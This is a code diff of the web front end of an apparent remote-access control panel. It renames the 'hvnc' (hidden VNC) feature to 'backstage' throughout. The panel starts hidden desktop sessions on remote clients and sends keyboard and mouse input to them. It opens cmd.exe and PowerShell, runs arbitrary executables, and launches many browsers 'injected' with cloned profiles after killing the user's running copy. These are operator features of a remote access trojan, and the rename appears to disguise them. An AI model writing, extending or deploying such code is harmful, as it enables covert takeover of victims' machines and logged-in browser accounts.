@@ -774,7 +774,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
function onWebrtcState(label, state) {
console.debug(`hvnc webrtc[${label}]: state`, state);
console.debug(`backstage webrtc[${label}]: state`, state);
if (state === "connected") {
setStreamState("streaming", `Streaming (${label})`);
} else if (state === "failed" || state === "disconnected") {
@@ -829,7 +829,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
setWebrtcViewActive(true);
startWebrtcFrameTicker();
} catch (err) {
console.warn("hvnc webrtc: WHEP start failed, falling back to canvas", err);
console.warn("backstage webrtc: WHEP start failed, falling back to canvas", err);
setWebrtcViewActive(false);
whepClient = null;
}
@@ -852,7 +852,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
setWebrtcViewActive(true);
startWebrtcFrameTicker();
} catch (err) {
console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err);
console.warn("backstage webrtc: P2P start failed, falling back to canvas", err);
setWebrtcViewActive(false);
const client = p2pClient;
p2pClient = null;
@@ -917,9 +917,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function pushQuality(val) {
const q = Number(val) || 90;
const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec);
console.debug("backstage: pushQuality val=", val, "q=", q, "codec=", codec);
setCodecModeLabel(codec, "requested");
sendCmd("hvnc_set_quality", { quality: q, codec });
sendCmd("backstage_set_quality", { quality: q, codec });
}
function selectedTargetFps() {
@@ -928,7 +928,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
function pushTargetFps() {
sendCmd("hvnc_set_fps", { fps: selectedTargetFps() });
sendCmd("backstage_set_fps", { fps: selectedTargetFps() });
}
if (targetFpsSelect) {
@@ -942,7 +942,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (mode === "relayed" || mode === "p2p") {
const q = Number(qualitySlider?.value) || 90;
setCodecModeLabel("h264", "webrtc");
sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" });
sendCmd("backstage_set_quality", { quality: q, codec: "h264", source: "webrtc" });
return;
}
if (qualitySlider) {
@@ -980,11 +980,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
prefersH264 = false;
destroyVideoDecoder();
if (codecH264) codecH264.checked = false;
console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
console.warn("backstage: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
const q = Number(qualitySlider?.value) || 90;
setCodecModeLabel("jpeg", "fallback");
if (ws && ws.readyState === WebSocket.OPEN) {
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
sendCmd("backstage_set_quality", { quality: q, codec: "jpeg" });
}
if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
if (h264RetryTimer) clearTimeout(h264RetryTimer);
@@ -1046,21 +1046,21 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
},
error: (err) => {
console.warn("hvnc: h264 decoder error", err);
console.warn("backstage: h264 decoder error", err);
},
});
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
return true;
} catch (err) {
console.warn("hvnc: h264 decoder unavailable", err);
console.warn("backstage: h264 decoder unavailable", err);
fallbackToJpegCodec(err);
return false;
}
}
displaySelect.addEventListener("change", function () {
console.debug("hvnc: select display", displaySelect.value);
sendCmd("hvnc_select_display", {
console.debug("backstage: select display", displaySelect.value);
sendCmd("backstage_select_display", {
display: parseInt(displaySelect.value, 10),
});
sharedSettingsSaver.scheduleSave();
@@ -1076,7 +1076,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
startBtn.addEventListener("click", function () {
const mode = getWebrtcMode();
if (displaySelect && displaySelect.value !== undefined) {
sendCmd("hvnc_select_display", {
sendCmd("backstage_select_display", {
display: parseInt(displaySelect.value, 10) || 0,
});
}
@@ -1085,7 +1085,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
desiredStreaming = true;
lastFrameAt = 0;
setStreamState("starting", "Starting stream");
sendCmd("hvnc_start", {
sendCmd("backstage_start", {
autoStartExplorer: false,
webrtc: mode === "relayed",
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
@@ -1096,12 +1096,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
stopBtn.addEventListener("click", function () {
desiredStreaming = false;
setStreamState("stopping", "Stopping stream");
sendCmd("hvnc_stop", {});
sendCmd("backstage_stop", {});
stopAllWebrtc();
});
if (killAllBtn) {
killAllBtn.addEventListener("click", function () {
sendCmd("hvnc_kill_all", {});
sendCmd("backstage_kill_all", {});
});
}
fullscreenBtn.addEventListener("click", function () {
@@ -1114,29 +1114,29 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
});
mouseCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
sharedSettingsSaver.scheduleSave();
});
kbdCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
sharedSettingsSaver.scheduleSave();
});
if (uiaCtrl) {
uiaCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
sharedSettingsSaver.scheduleSave();
});
}
function pushHvncResolution() {
if (hvncResolutionSelect) {
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
function pushbackstageResolution() {
if (backstageResolutionSelect) {
const maxHeight = parseInt(backstageResolutionSelect.value, 10);
sendCmd("backstage_set_resolution", { maxHeight: maxHeight });
}
}
if (hvncResolutionSelect) {
hvncResolutionSelect.addEventListener("change", function () {
pushHvncResolution();
if (backstageResolutionSelect) {
backstageResolutionSelect.addEventListener("change", function () {
pushbackstageResolution();
sharedSettingsSaver.scheduleSave();
});
}
@@ -1234,7 +1234,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
hasCanvasBase = false;
}
if (blockCount > 0 && !hasCanvasBase) {
sendCmd("hvnc_request_keyframe", { reason: "viewer_missing_base" });
sendCmd("backstage_request_keyframe", { reason: "viewer_missing_base" });
return;
}
@@ -1285,7 +1285,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
videoDecoder.decode(chunk);
updateFpsDisplay(fps);
} catch (err) {
console.warn("hvnc: h264 decode failed", err);
console.warn("backstage: h264 decode failed", err);
fallbackToJpegCodec(err);
}
}
@@ -1329,36 +1329,36 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (p2pClient) p2pClient.onRemoteCandidate(msg);
return;
}
if (msg && msg.type === "hvnc_clone_progress") {
if (msg && msg.type === "backstage_clone_progress") {
handleCloneProgress(msg);
return;
}
if (msg && msg.type === "hvnc_lookup_result") {
if (msg && msg.type === "backstage_lookup_result") {
handleLookupResult(msg);
return;
}
if (msg && msg.type === "hvnc_browser_check_result") {
if (msg && msg.type === "backstage_browser_check_result") {
handleBrowserCheckResult(msg);
return;
}
if (msg && msg.type === "hvnc_installed_apps_result") {
if (msg && msg.type === "backstage_installed_apps_result") {
handleInstalledAppsResult(msg);
return;
}
if (msg && msg.type === "hvnc_dxgi_status") {
if (msg && msg.type === "backstage_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_browser_launch_status") {
if (msg && msg.type === "backstage_browser_launch_status") {
handleBrowserLaunchStatus(msg);
return;
}
if (msg && msg.type === "hvnc_window_list_result") {
if (msg && msg.type === "backstage_window_list_result") {
handleWindowListResult(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
handleHVNCError(msg);
if (msg && msg.type === "backstage_error") {
handlebackstageError(msg);
return;
}
if (msg && msg.type === "clipboard_content") {
@@ -1388,32 +1388,32 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (p2pClient) p2pClient.onRemoteCandidate(msg);
return;
}
if (msg && msg.type === "hvnc_clone_progress") {
if (msg && msg.type === "backstage_clone_progress") {
handleCloneProgress(msg);
return;
}
if (msg && msg.type === "hvnc_lookup_result") {
if (msg && msg.type === "backstage_lookup_result") {
handleLookupResult(msg);
return;
}
if (msg && msg.type === "hvnc_browser_check_result") {
if (msg && msg.type === "backstage_browser_check_result") {
handleBrowserCheckResult(msg);
return;
}
if (msg && msg.type === "hvnc_installed_apps_result") {
if (msg && msg.type === "backstage_installed_apps_result") {
handleInstalledAppsResult(msg);
return;
}
if (msg && msg.type === "hvnc_dxgi_status") {
if (msg && msg.type === "backstage_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_browser_launch_status") {
if (msg && msg.type === "backstage_browser_launch_status") {
handleBrowserLaunchStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
if (msg && msg.type === "backstage_error") {
console.error("backstage: server error:", msg.error || msg.message);
return;
}
if (msg && msg.type === "clipboard_content") {
@@ -1433,10 +1433,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
setStreamState("starting", "Resuming stream");
const mode = getWebrtcMode();
if (displaySelect && displaySelect.value !== undefined) {
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
}
pushTargetFps();
sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
sendCmd("backstage_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
if (mode === "p2p") startP2P();
syncInputEnableState();
} else {
@@ -1444,7 +1444,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
fetchClientInfo().then(() => {
if (displaySelect && displaySelect.value) {
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) });
}
});
requestBrowserCheck();
@@ -1513,7 +1513,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
lastMoveSentAt = now;
if (ws.bufferedAmount <= inputBackpressureBytes) {
sendCmd("hvnc_mouse_move", pendingMove);
sendCmd("backstage_mouse_move", pendingMove);
}
}
@@ -1533,10 +1533,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (pt) {
pendingMove = pt;
if (ws.bufferedAmount <= inputBackpressureBytes) {
sendCmd("hvnc_mouse_move", pt);
sendCmd("backstage_mouse_move", pt);
}
}
sendCmd("hvnc_mouse_down", { button: e.button, ...(pt || {}) });
sendCmd("backstage_mouse_down", { button: e.button, ...(pt || {}) });
e.preventDefault();
});
canvas.addEventListener("mouseup", function (e) {
@@ -1545,10 +1545,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (pt) {
pendingMove = pt;
if (ws.bufferedAmount <= inputBackpressureBytes) {
sendCmd("hvnc_mouse_move", pt);
sendCmd("backstage_mouse_move", pt);
}
}
sendCmd("hvnc_mouse_up", { button: e.button, ...(pt || {}) });
sendCmd("backstage_mouse_up", { button: e.button, ...(pt || {}) });
e.preventDefault();
});
canvas.addEventListener("contextmenu", function (e) {
@@ -1560,7 +1560,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const pt = getCanvasPoint(e);
if (!pt) return;
const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY)));
sendCmd("hvnc_mouse_wheel", { delta, x: pt.x, y: pt.y });
sendCmd("backstage_mouse_wheel", { delta, x: pt.x, y: pt.y });
e.preventDefault();
}, { passive: false });
@@ -1570,8 +1570,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
});
const kbdCapture = createKeyboardCapture({
container: canvas,
sendKeyDown: (e) => sendCmd("hvnc_key_down", { key: e.key, code: e.code }),
sendKeyUp: (e) => sendCmd("hvnc_key_up", { key: e.key, code: e.code }),
sendKeyDown: (e) => sendCmd("backstage_key_down", { key: e.key, code: e.code }),
sendKeyUp: (e) => sendCmd("backstage_key_up", { key: e.key, code: e.code }),
});
if (kbdCtrl) {
kbdCtrl.addEventListener("change", function () {
@@ -1591,7 +1591,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
sharedSettingsSaver.saveNow();
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
desiredStreaming = false;
sendCmd("hvnc_stop", {});
sendCmd("backstage_stop", {});
}
destroyVideoDecoder();
stopAllWebrtc();
@@ -1631,7 +1631,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
});
}
["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => {
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => {
const el = document.getElementById(id);
if (el) {
el.addEventListener("change", function () {
@@ -1645,59 +1645,59 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
item.addEventListener("click", (e) => {
const action = e.currentTarget?.dataset?.action;
if (action === "start-cmd") {
sendCmd("hvnc_start_process", { path: "conhost cmd.exe" });
sendCmd("backstage_start_process", { path: "conhost cmd.exe" });
} else if (action === "start-powershell") {
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
sendCmd("backstage_start_process", { path: "conhost powershell.exe" });
} else if (action === "start-chrome") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
} else if (action === "start-brave") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
} else if (action === "start-edge") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
} else if (action === "start-firefox") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
} else if (action === "start-opera") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
} else if (action === "start-operagx") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
} else if (action === "start-vivaldi") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
} else if (action === "start-yandex") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
} else if (action === "start-waterfox") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
} else if (action === "start-arc") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
} else if (action === "start-custom") {
hideContextMenu();
showCustomExeModal();
@@ -1713,47 +1713,47 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
function showCustomExeModal() {
let overlay = document.getElementById("hvncCustomExeOverlay");
let overlay = document.getElementById("backstageCustomExeOverlay");
if (overlay) { overlay.remove(); }
overlay = document.createElement("div");
overlay.id = "hvncCustomExeOverlay";
overlay.id = "backstageCustomExeOverlay";
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
overlay.innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-96 shadow-2xl">
<div class="text-sm font-semibold text-slate-100 mb-3">Run Custom Executable</div>
<label class="block text-xs text-slate-400 mb-1">Exe path</label>
<input id="hvncCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
<input id="backstageCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
<input id="backstageCustomExeArgs" type="text" placeholder="--flag value"
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
<label class="flex items-center gap-2 text-xs text-slate-400 mb-4 cursor-pointer select-none">
<input id="hvncCustomExeOperaPatch" type="checkbox"
<input id="backstageCustomExeOperaPatch" type="checkbox"
class="accent-violet-500 w-3.5 h-3.5 rounded" />
Apply Opera patch (stub GetCursorInfo)
</label>
<div class="flex justify-end gap-2">
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
<button id="backstageCustomExeCancel" class="button ghost text-sm">Cancel</button>
<button id="backstageCustomExeRun" class="button primary text-sm">Run</button>
</div>
</div>`;
document.body.appendChild(overlay);
const pathInput = document.getElementById("hvncCustomExePath");
const argsInput = document.getElementById("hvncCustomExeArgs");
const pathInput = document.getElementById("backstageCustomExePath");
const argsInput = document.getElementById("backstageCustomExeArgs");
pathInput.focus();
function close() { overlay.remove(); }
document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
document.getElementById("backstageCustomExeCancel").addEventListener("click", close);
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
function run() {
const exePath = pathInput.value.trim();
if (!exePath) return;
const args = argsInput.value.trim();
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
const operaPatch = document.getElementById("backstageCustomExeOperaPatch").checked;
sendCmd("backstage_start_process", { path: cmd, opera_patch: operaPatch });
close();
}
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
document.getElementById("backstageCustomExeRun").addEventListener("click", run);
pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
}
@@ -1763,46 +1763,46 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function showLookupExeModal() {
if (activeLookupOverlay) activeLookupOverlay.remove();
const overlay = document.createElement("div");
overlay.id = "hvncLookupExeOverlay";
overlay.id = "backstageLookupExeOverlay";
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
overlay.innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-[480px] shadow-2xl flex flex-col" style="max-height:80vh">
<div class="text-sm font-semibold text-slate-100 mb-3">Lookup Executable</div>
<label class="block text-xs text-slate-400 mb-1">Exe filename (e.g. notepad.exe)</label>
<div class="flex gap-2 mb-3">
<input id="hvncLookupExeName" type="text" placeholder="notepad.exe"
<input id="backstageLookupExeName" type="text" placeholder="notepad.exe"
class="flex-1 bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 focus:outline-none focus:border-violet-500" />
<button id="hvncLookupBtn" class="button primary text-sm px-4">
<button id="backstageLookupBtn" class="button primary text-sm px-4">
<i class="fa-solid fa-magnifying-glass mr-1"></i>Lookup
</button>
</div>
<div id="hvncLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
<div id="backstageLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Searching…
</div>
<div id="hvncLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
<div id="backstageLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
<div class="text-xs text-slate-600 text-center py-4">Results will appear here</div>
</div>
<div class="flex items-center mt-3">
<label class="flex items-center gap-2 cursor-pointer select-none">
<input type="checkbox" id="hvncLookupKill" class="accent-red-500 w-4 h-4 rounded" />
<input type="checkbox" id="backstageLookupKill" class="accent-red-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill before starting</span>
</label>
<div class="ml-auto">
<button id="hvncLookupClose" class="button ghost text-sm">Close</button>
<button id="backstageLookupClose" class="button ghost text-sm">Close</button>
</div>
</div>
</div>`;
document.body.appendChild(overlay);
activeLookupOverlay = overlay;
const nameInput = document.getElementById("hvncLookupExeName");
const lookupBtn = document.getElementById("hvncLookupBtn");
const statusEl = document.getElementById("hvncLookupStatus");
const resultsEl = document.getElementById("hvncLookupResults");
const nameInput = document.getElementById("backstageLookupExeName");
const lookupBtn = document.getElementById("backstageLookupBtn");
const statusEl = document.getElementById("backstageLookupStatus");
const resultsEl = document.getElementById("backstageLookupResults");
nameInput.focus();
function close() { overlay.remove(); activeLookupOverlay = null; }
document.getElementById("hvncLookupClose").addEventListener("click", close);
document.getElementById("backstageLookupClose").addEventListener("click", close);
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
function startLookup() {
@@ -1812,7 +1812,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
statusEl.classList.remove("hidden");
lookupBtn.disabled = true;
lookupBtn.classList.add("opacity-50");
sendCmd("hvnc_lookup", { exe });
sendCmd("backstage_lookup", { exe });
}
lookupBtn.addEventListener("click", startLookup);
@@ -1822,9 +1822,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function handleLookupResult(msg) {
const overlay = activeLookupOverlay;
if (!overlay) return;
const statusEl = document.getElementById("hvncLookupStatus");
const resultsEl = document.getElementById("hvncLookupResults");
const lookupBtn = document.getElementById("hvncLookupBtn");
const statusEl = document.getElementById("backstageLookupStatus");
const resultsEl = document.getElementById("backstageLookupResults");
const lookupBtn = document.getElementById("backstageLookupBtn");
if (!resultsEl) return;
if (msg.done) {
@@ -1852,11 +1852,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
item.dataset.lookupPath = msg.path;
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
item.textContent = msg.path;
item.title = "Click to start in HVNC: " + msg.path;
item.title = "Click to start in backstage: " + msg.path;
item.addEventListener("click", () => {
const killCheckbox = document.getElementById("hvncLookupKill");
const killCheckbox = document.getElementById("backstageLookupKill");
const killExe = killCheckbox?.checked ? msg.exe : "";
sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
sendCmd("backstage_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
item.classList.add("text-emerald-400");
item.innerHTML = '<i class="fa-solid fa-check mr-1"></i>' + (killExe ? '(killed) ' : '') + msg.path;
});
@@ -1888,7 +1888,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function openWindowMap() {
if (!windowMapModal) return;
windowMapModal.style.display = "flex";
sendCmd("hvnc_window_list", {});
sendCmd("backstage_window_list", {});
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
if (windowMapList) windowMapList.innerHTML = "";
}
@@ -1900,7 +1900,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
sendCmd("hvnc_window_list", {});
sendCmd("backstage_window_list", {});
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
if (windowMapList) windowMapList.innerHTML = "";
});
@@ -4,7 +4,7 @@ import { osBadge } from "./viewUtils.js";
const ALL_PER_CLIENT_ACTIONS = [
{ key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
{ key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
{ key: "backstage", feature: "backstage", label: "backstage", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/backstage?clientId=${id}` },
